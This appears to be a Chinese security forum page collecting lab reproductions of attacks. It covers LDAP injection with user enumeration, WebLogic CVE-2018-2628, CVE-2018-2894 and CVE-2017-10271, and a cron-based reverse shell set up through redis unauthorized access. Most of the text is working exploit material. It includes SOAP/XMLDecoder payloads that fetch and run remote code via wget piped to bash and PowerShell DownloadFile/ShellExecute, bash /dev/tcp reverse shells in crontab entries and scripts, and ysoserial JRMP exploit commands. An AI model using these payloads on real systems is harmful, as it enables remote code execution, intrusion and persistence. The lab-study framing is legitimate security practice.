看一下我们提交的数据,使用burpsuit 进行查看,来看一下request的包,请求两个变量为name=hacker, passowrd = hacker 
 
请求报文:
GET /ldap/example2.php?name=hacker&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,[i]/[/i];q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1

响应报文:

QQ截图20180823094728.png

 我们来分析一下ldap 后面执行的查询语句,大概如下:
(&(name=hacker)(passwd=hacker)) ,其中& 为and 操作,我们可以控制的变量范围为(&(name=hacker)(passwd=hacker))  黑色加粗的“hacker”


4.2 构造测试语句

构造攻击语句(特别提醒:其中% 00 在% 和00 之间没有空格,本编辑器如果没有空格,就显示不出来,特此强调)
(&(name=hacker)% 00(passwd=hacker))  只用截断后面的部分,然后(passwd=hacker)) 就不会再执行了, 前面选择器(&(name=hacker))永远为真,使用burpsuit 操作截图如下:

QQ截图20180816112138.png


GET /ldap/example2.php?name=h*))% 00(&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1

4.3 遍历全部用户

攻击payload , (&(name=h)) % 00(passwd=hacker))  代表多个,因此我们可以a -z 进行匹配,burpsuit进行爆破遍历。具体截图如下:

step1: 发送到 intruder

QQ图片20180816112846.png


step2:增加变量,具体见截图

增加变量.png


step3,增加变量字典

QQ截图20180816113238.png


step4 开始遍历

一共跑出来两个用户,admin 和 hacker 具体截图如下:

QQ截图20180816113413.png



五 、修复建议
    []客户端发送给服务器的参数中包含了特殊字符,服务器代码端需要对变量进行检查和净化处理。[/][]圆括号、星号、逻辑操作符、关系运操作符在应用层都必须过滤。[/][]无论什么时候,只要可能,构造LDAP搜索过滤器的值在发送给LDAP服务器查询之前都要用应用层有效地值列表来核。[/]

weblogic漏洞系列- WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

zksmile 发表了文章 • 1 个评论 • 270 次浏览 • 2018-08-22 17:33 • 来自相关话题

此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启,因此会造成较大影响。
 
漏洞编号:CVE-2018-2628 
影响范围:Oracle WebLogic Server10.3.6.0

Oracle WebLogic Server12.2.1.2

Oracle WebLogic Server12.2.1.3

Oracle WebLogic Server12.1.3.0
 
漏洞原理:
http://blog.topsec.com.cn/ad_lab/cve-2018-2628-weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
http://www.freebuf.com/vuls/169420.html
https://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
 
漏洞复现:
1、首先需要下载一个国外大佬写的一款工具ysoserial(http://www.vuln.cn/6295,这里有针对这款工具的分析)。wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 
2、使用ysoserial启动一个JRMP Serverjava -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command] 【listen port】是JRMP Server 监听的端口
【Command】是想要执行命令






3、使用exp向目标发送数据包。(脚本链接:https://www.exploit-db.com/exploits/44553/)zksmile@xxx:~$ python CVE-2018-2628.py

Usage:
exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
[victim ip] :目标IP
[victim port] : 目标端口
[path to ysoserial] : ysoserial的路径
[JRMPListener ip] : 步骤2中 攻击机器的IP
[JRMPListener port]: 步骤2中监听的端口
[JRMPClient] :使用的是JRMPClient类
zksmile@xxx:~$ python CVE-2018-2628.py 172.18.0.2 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 172.18.0.1 1099 JRMPClient




4、进入docker 容器中,文件已经创建成功。zksmile@xxx:~/vulhub/weblogic/CVE-2018-2628$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9989f9948b12 vulhub/weblogic "startWebLogic.sh" 7 hours ago Up 7 hours 5556/tcp, 0.0.0.0:7001->7001/tcp cve-2018-2628_weblogic_1
zksmile@xxx:~/vulhub/weblogic/CVE-2018-2628$ sudo docker exec -ti 9989f9948b12 /bin/bash
root@9989f9948b12:~/Oracle/Middleware# ls /tmp/
bea1061393648233859820.tmp hsperfdata_root wlstTemproot
cookie.txt packages zksmile.txt
root@9989f9948b12:~/Oracle/Middleware#
5、文中用到脚本工具在下边压缩包中。 查看全部
此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启,因此会造成较大影响。
 
漏洞编号:
CVE-2018-2628
 
影响范围:
Oracle WebLogic Server10.3.6.0

Oracle WebLogic Server12.2.1.2

Oracle WebLogic Server12.2.1.3

Oracle WebLogic Server12.1.3.0

 
漏洞原理:
http://blog.topsec.com.cn/ad_lab/cve-2018-2628-weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
http://www.freebuf.com/vuls/169420.html
https://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
 
漏洞复现:
1、首先需要下载一个国外大佬写的一款工具ysoserial(http://www.vuln.cn/6295,这里有针对这款工具的分析)。
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
 
2、使用ysoserial启动一个JRMP Server
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
 
【listen port】是JRMP Server 监听的端口
【Command】是想要执行命令


1.png

3、使用exp向目标发送数据包。(脚本链接:https://www.exploit-db.com/exploits/44553/
zksmile@xxx:~$ python CVE-2018-2628.py

Usage:
exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
[victim ip] :目标IP
[victim port] : 目标端口
[path to ysoserial] : ysoserial的路径
[JRMPListener ip] : 步骤2中 攻击机器的IP
[JRMPListener port]: 步骤2中监听的端口
[JRMPClient] :使用的是JRMPClient类

zksmile@xxx:~$ python CVE-2018-2628.py 172.18.0.2 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 172.18.0.1 1099 JRMPClient

2.png

4、进入docker 容器中,文件已经创建成功。
zksmile@xxx:~/vulhub/weblogic/CVE-2018-2628$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9989f9948b12 vulhub/weblogic "startWebLogic.sh" 7 hours ago Up 7 hours 5556/tcp, 0.0.0.0:7001->7001/tcp cve-2018-2628_weblogic_1
zksmile@xxx:~/vulhub/weblogic/CVE-2018-2628$ sudo docker exec -ti 9989f9948b12 /bin/bash
root@9989f9948b12:~/Oracle/Middleware# ls /tmp/
bea1061393648233859820.tmp hsperfdata_root wlstTemproot
cookie.txt packages zksmile.txt
root@9989f9948b12:~/Oracle/Middleware#

5、文中用到脚本工具在下边压缩包中。

weblogic漏洞系列-任意文件上传漏洞(CVE-2018-2894)

zksmile 发表了文章 • 0 个评论 • 265 次浏览 • 2018-08-19 23:03 • 来自相关话题

前言
前一段时间这个漏洞爆出来之后,测试了一些之存在SSRF漏洞的weblogic站点,均未发现漏洞。后来才发现这个漏洞挺鸡肋的。Web Service Test Page 在“生产模式”下默认是不开启的,漏洞虽然是高危,但是影响范围就受到了限制。总之复现一遍记录一下吧。(万一遇到了呢?)
 
漏洞编号
CVE-2018-2894
 
影响范围:
10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
 
复现环境:
WebLogic Server 版本: 12.2.1.3.0
 
登录到后台,来修改一下配置文件。点击【base_domain】-【高级】-【启用Web服务测试页】。勾选之后记得点击保存,此时已经生效。 





复现步骤
1、首先访问http://IP/ws_utc/config.do.如下图所示: 





2、设置Work Home Dir 当前工作目录为:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css





3、点击左侧【安全】-【添加】-【选择文件】。 





4、点击提交之后,可是使用BurpSuite拦截返回的数据包,也可以通过浏览器的调试台来寻找返回的时间戳ID。F12打开调试台。 










5、访问:http://IP//ws_utc/css/config/keystore/[时间戳]_[文件名]即可访问到上传的文件。 




Reference
https://www.seebug.org/vuldb/ssvid-97423
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2894 查看全部
前言
前一段时间这个漏洞爆出来之后,测试了一些之存在SSRF漏洞的weblogic站点,均未发现漏洞。后来才发现这个漏洞挺鸡肋的。Web Service Test Page 在“生产模式”下默认是不开启的,漏洞虽然是高危,但是影响范围就受到了限制。总之复现一遍记录一下吧。(万一遇到了呢?)
 
漏洞编号
CVE-2018-2894
 
影响范围:
10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
 
复现环境:
WebLogic Server 版本: 12.2.1.3.0
 
登录到后台,来修改一下配置文件。点击【base_domain】-【高级】-【启用Web服务测试页】。勾选之后记得点击保存,此时已经生效。 

1.png

复现步骤
1、首先访问http://IP/ws_utc/config.do.如下图所示: 

2.png

2、设置Work Home Dir 当前工作目录为:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css 


3.png

3、点击左侧【安全】-【添加】-【选择文件】。 

4.png

4、点击提交之后,可是使用BurpSuite拦截返回的数据包,也可以通过浏览器的调试台来寻找返回的时间戳ID。F12打开调试台。 

5.png


6.png

5、访问:http://IP//ws_utc/css/config/keystore/[时间戳]_[文件名]即可访问到上传的文件。 

7.png
Reference
https://www.seebug.org/vuldb/ssvid-97423
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2894

解决ubuntu任务计划写shell失败的问题

lawliet 发表了文章 • 3 个评论 • 260 次浏览 • 2018-08-18 01:16 • 来自相关话题

这个问题的由来是因为自己在复现redis未授权访问漏洞时,通过向linux任务计划文件里写反弹shell的命令时,发现shell并不能反弹回来,之前使用的server端为Centos,一切顺利并没有出现这种问题,结果这次server换成了ubuntu,就出现不能反弹的问题,结果因为这个问题卡了很久,最终在kakaxi和ttgo2两位大佬的指导和帮助下才解决了该问题,将整个问题的解决过程在这里记录一下~
环境说明
ubuntu16.04桌面版:192.168.0.107,用来任务计划反弹shell的靶机
kali2.0:192.168.0.106,用来接收ubuntu反弹过来的shell具体过程
事情源自于我利用redis未授权访问漏洞在向ubuntu的/var/spool/cron/crontabs目录下创建任务计划文件去反弹shell时,发现shell并不能反弹到自己的kali上
任务计划文件/var/spool/cron/crontabs/root内容如下[i] [/i] [i] [/i] * /bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1
需要特别注意的一点是这的root文件的权限必须为600,也就是rw-------,否则会出现cron[53948]: (root) INSECURE MODE (mode 0600 expected)的错误,会影响到后面的实验 但是kali却迟迟接收不到反弹过来的shell
之前在centos上利用的时候并没有出现这种情况,使用ubuntu的时候居然不行,下面我们就来一步步的排查看看到底是什么原因导致的
首先,咱们先来看一下系统日志tail -f /var/log/syslog

通过系统日志可以看到CRON[55318]: (CRON) info (No MTA installed, discarding output)这一条,我们之所以反弹shell失败,和这句话有着很大的关系,百度了一番后得到这句话的大概意思就是我们任务计划里的命令执行如果出现了错误,ubuntu会将这些错误信息去输出到ubuntu系统的邮件服务器,但是由于ubuntu系统默认没有安装邮件服务器,所以才导致了上面的错误
通过了上面的信息,可以推断出我们任务计划中的命令执行出现了某种错误,然后ubuntu处理这种错误方式是将错误信息发送到本地的邮件服务器,但是邮件服务器不存在,那么我们要想办法将错误信息重定向到文件里面去看看究竟是命令的什么地方产生了错误,修改任务计划文件为[i] [/i] [i] [/i] * '/bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1'>/tmp/error.txt 2>&1
1代表标准输出。2代表标准错误输出,也就是命令执行出现的错误,这里将/bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1执行的标准错误输出重定向到输出流,也就是/tmp/error.txt这个文件中,而不是邮件服务器,然后再看日志就没有刚刚的错误了
/bin/sh: 1: /bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1: not found下面可以看到tmp目录下新生成了一个记录错误信息的文件error.txt,内容如下

这条错误的意思说/bin/bash没有被找到,通过错误信息还可以明白一件事情,那就是linux里面的cron中command执行的shell环境是/bin/sh,那我们可以再来看一下ubuntu下的/bin/sh文件究极是一个怎么样的文件ls -al /bin/sh
可以看到/bin/sh其实是一个软连接文件(l),类似于windows中的快捷方式,只不过在ubuntu中/bin/sh这个软连接指向了dash,而我们反弹shell使用的shell环境是dash,所以这一点是反弹出错的根本原因 那么之前的centos为什么就能成功,下面来看一下centos/bin/sh的指向

可以看到centos中/bin/sh的指向是bash,所以命令执行不会出错
搞清楚了根本的原因后,来说一下解决的办法,这里有两种解决办法,其中一种解决办法是通过修改ubuntu中/bin/sh的指向,将dash改为bash即可,命令如下ln -s -f bash /bin/sh

可以看到此时/bin/sh以及指向了bash,此时将任务计划里的文件修改为之前反弹shell的命令,可以看到不会再报错了,并且shell成功反弹到了kali上


下面来说一下第二种解决办法,首先我们先将/bin/sh的指向改回dashln -s -f dash /bin/sh


下面来说一下第二种方法,就是避免在cron文件里去使用bash这个shell,我们可以另外的去建一个反弹shell的shell脚本文件,然后在任务计划里面去直接调用这个shell脚本文件
shell脚本文件如下,文件名为/tmp/test.sh#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.0.107/7777 0>&1

然后为test.sh加上执行权限chmod +x /tmp/test.sh

之后任务计划里的内容修改为[i] [/i] [i] [/i] * /tmp/test.sh

可以看到kali上成功反弹到了shell
总结
这一次真的是踩了很多坑,最终才终于弄明白,通过这次的学习使我对linux的认识更加的深刻了,同时也学到了解决问题的思路和方法,在这里十分感谢kakaxi和ttgo2两位大神的帮助! 查看全部
这个问题的由来是因为自己在复现redis未授权访问漏洞时,通过向linux任务计划文件里写反弹shell的命令时,发现shell并不能反弹回来,之前使用的server端为Centos,一切顺利并没有出现这种问题,结果这次server换成了ubuntu,就出现不能反弹的问题,结果因为这个问题卡了很久,最终在kakaxi和ttgo2两位大佬的指导和帮助下才解决了该问题,将整个问题的解决过程在这里记录一下~
环境说明
ubuntu16.04桌面版:192.168.0.107,用来任务计划反弹shell的靶机
kali2.0:192.168.0.106,用来接收ubuntu反弹过来的shell具体过程
事情源自于我利用redis未授权访问漏洞在向ubuntu的
/var/spool/cron/crontabs
目录下创建任务计划文件去反弹shell时,发现shell并不能反弹到自己的kali上
任务计划文件
/var/spool/cron/crontabs/root
内容如下
[i] [/i] [i] [/i] * /bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1

需要特别注意的一点是这的root文件的权限必须为600,也就是
rw-------
,否则会出现
cron[53948]: (root) INSECURE MODE (mode 0600 expected)
的错误,会影响到后面的实验 但是kali却迟迟接收不到反弹过来的shell
之前在centos上利用的时候并没有出现这种情况,使用ubuntu的时候居然不行,下面我们就来一步步的排查看看到底是什么原因导致的
首先,咱们先来看一下系统日志
tail -f /var/log/syslog


通过系统日志可以看到
CRON[55318]: (CRON) info (No MTA installed, discarding output)
这一条,我们之所以反弹shell失败,和这句话有着很大的关系,百度了一番后得到这句话的大概意思就是我们任务计划里的命令执行如果出现了错误,ubuntu会将这些错误信息去输出到ubuntu系统的邮件服务器,但是由于ubuntu系统默认没有安装邮件服务器,所以才导致了上面的错误
通过了上面的信息,可以推断出我们任务计划中的命令执行出现了某种错误,然后ubuntu处理这种错误方式是将错误信息发送到本地的邮件服务器,但是邮件服务器不存在,那么我们要想办法将错误信息重定向到文件里面去看看究竟是命令的什么地方产生了错误,修改任务计划文件为
[i] [/i] [i] [/i] * '/bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1'>/tmp/error.txt 2>&1

1代表标准输出。2代表标准错误输出,也就是命令执行出现的错误,这里将
/bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1
执行的标准错误输出重定向到输出流,也就是
/tmp/error.txt
这个文件中,而不是邮件服务器,然后再看日志就没有刚刚的错误了
/bin/sh: 1: /bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1: not found
下面可以看到tmp目录下新生成了一个记录错误信息的文件error.txt,内容如下

这条错误的意思说/bin/bash没有被找到,通过错误信息还可以明白一件事情,那就是linux里面的cron中command执行的shell环境是/bin/sh,那我们可以再来看一下ubuntu下的/bin/sh文件究极是一个怎么样的文件
ls -al /bin/sh

可以看到/bin/sh其实是一个软连接文件(l),类似于windows中的快捷方式,只不过在ubuntu中/bin/sh这个软连接指向了dash,而我们反弹shell使用的shell环境是dash,所以这一点是反弹出错的根本原因 那么之前的centos为什么就能成功,下面来看一下centos/bin/sh的指向

可以看到centos中
/bin/sh
的指向是bash,所以命令执行不会出错
搞清楚了根本的原因后,来说一下解决的办法,这里有两种解决办法,其中一种解决办法是通过修改ubuntu中
/bin/sh
的指向,将dash改为bash即可,命令如下
ln -s -f bash /bin/sh


可以看到此时
/bin/sh
以及指向了
bash
,此时将任务计划里的文件修改为之前反弹shell的命令,可以看到不会再报错了,并且shell成功反弹到了kali上


下面来说一下第二种解决办法,首先我们先将
/bin/sh
的指向改回
dash
ln -s -f dash /bin/sh


下面来说一下第二种方法,就是避免在cron文件里去使用bash这个shell,我们可以另外的去建一个反弹shell的shell脚本文件,然后在任务计划里面去直接调用这个shell脚本文件
shell脚本文件如下,文件名为
/tmp/test.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.0.107/7777 0>&1


然后为test.sh加上执行权限
chmod +x /tmp/test.sh


之后任务计划里的内容修改为
[i] [/i] [i] [/i] * /tmp/test.sh


可以看到kali上成功反弹到了shell
总结
这一次真的是踩了很多坑,最终才终于弄明白,通过这次的学习使我对linux的认识更加的深刻了,同时也学到了解决问题的思路和方法,在这里十分感谢kakaxi和ttgo2两位大神的帮助!

weblogic漏洞系列- 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)

zksmile 发表了文章 • 0 个评论 • 411 次浏览 • 2018-08-17 14:24 • 来自相关话题

看别人的POC觉得复现挺简单的,实际操作的时候还是有很多细节需要注意,还是需要自己动手做一遍啊。
 漏洞编号:
CVE-2017-10271
 
影响范围:
Oracle WebLogic Server 10.3.6.0.0版本
 
Oracle WebLogic Server 12.1.3.0.0版本
 
Oracle WebLogic Server 12.2.1.1.0版本
 
漏洞详情:
 
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
 
漏洞原理:
https://www.anquanke.com/post/id/92003
 
漏洞复现环境:
WebLogic Servcer :10.3.6.0
 
漏洞复现:
 
1、利用java.io.PrintWriter类进行文件创建,并写入数据。 POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,[i]/[/i];q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml
Content-Length: 605

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt</string>
<void method="println">
<string>Hello,this is a test!</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>





 
以上Poc是向服务器的servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt写文件。文件名称为test.txt。文件内容为“Hello,this is a test!”,成功发送请求之后服务器会返回 500 status code。需要注意的地方是头部必须加上Content-Type: text/xml请求会出错。
发送请求之后访问http://ip/bea_wls_internal/test.txt,查看文件是否写入成功 





 
 
2、执行系统命令
利用java.lang.ProcessBuilder类进行本地命令调用,通过执行本地命令,下载可执行文件执行或者反弹shell。
 
2.1 通过执行wget、curl命令或者powershell,下载可执行文件并执行。
Linux代码如下:POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,[i]/[/i];q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://xxxx.com/xxx | /bin/bash xxx</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Windows代码如下: POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,[i]/[/i];q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>powershell</string>
</void>
<void index="1">
<string>-Command</string>
</void>
<void index="2">
<string>(New-Object System.Net.WebClient).DownloadFile('http://[b][i].com/[/i][/b].exe','[b][i].exe');(New-Object -com Shell.Application).ShellExecute('[/i][/b].exe');</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
需要注意地方:<array class="java.lang.String" length="3”> 当中length的长度要与<void>的个数对应,且void的index是从0开始的 
 
2.2、反弹shell POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,[i]/[/i];q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >&amp; /dev/tcp/10.0.0.1/21 0>&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
注意:反弹shell的语句,需要进行编码,,否则解析XML的时候将出现格式错误  查看全部
看别人的POC觉得复现挺简单的,实际操作的时候还是有很多细节需要注意,还是需要自己动手做一遍啊。
 漏洞编号:
CVE-2017-10271
 
影响范围:
Oracle WebLogic Server 10.3.6.0.0版本
 
Oracle WebLogic Server 12.1.3.0.0版本
 
Oracle WebLogic Server 12.2.1.1.0版本
 
漏洞详情:
 
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
 
漏洞原理:
https://www.anquanke.com/post/id/92003
 
漏洞复现环境:
WebLogic Servcer :10.3.6.0
 
漏洞复现:
 
1、利用java.io.PrintWriter类进行文件创建,并写入数据。 
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,[i]/[/i];q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml
Content-Length: 605

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt</string>
<void method="println">
<string>Hello,this is a test!</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

2.png


 
以上Poc是向服务器的servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt写文件。文件名称为test.txt。文件内容为“Hello,this is a test!”,成功发送请求之后服务器会返回 500 status code。需要注意的地方是头部必须加上Content-Type: text/xml请求会出错。
发送请求之后访问http://ip/bea_wls_internal/test.txt,查看文件是否写入成功 

1.png

 
 
2、执行系统命令
利用java.lang.ProcessBuilder类进行本地命令调用,通过执行本地命令,下载可执行文件执行或者反弹shell。
 
2.1 通过执行wget、curl命令或者powershell,下载可执行文件并执行。
Linux代码如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,[i]/[/i];q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://xxxx.com/xxx | /bin/bash xxx</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

Windows代码如下: 
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,[i]/[/i];q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>powershell</string>
</void>
<void index="1">
<string>-Command</string>
</void>
<void index="2">
<string>(New-Object System.Net.WebClient).DownloadFile('http://[b][i].com/[/i][/b].exe','[b][i].exe');(New-Object -com Shell.Application).ShellExecute('[/i][/b].exe');</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

需要注意地方:<array class="java.lang.String" length="3”> 当中length的长度要与<void>的个数对应,且void的index是从0开始的 
 
2.2、反弹shell 
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
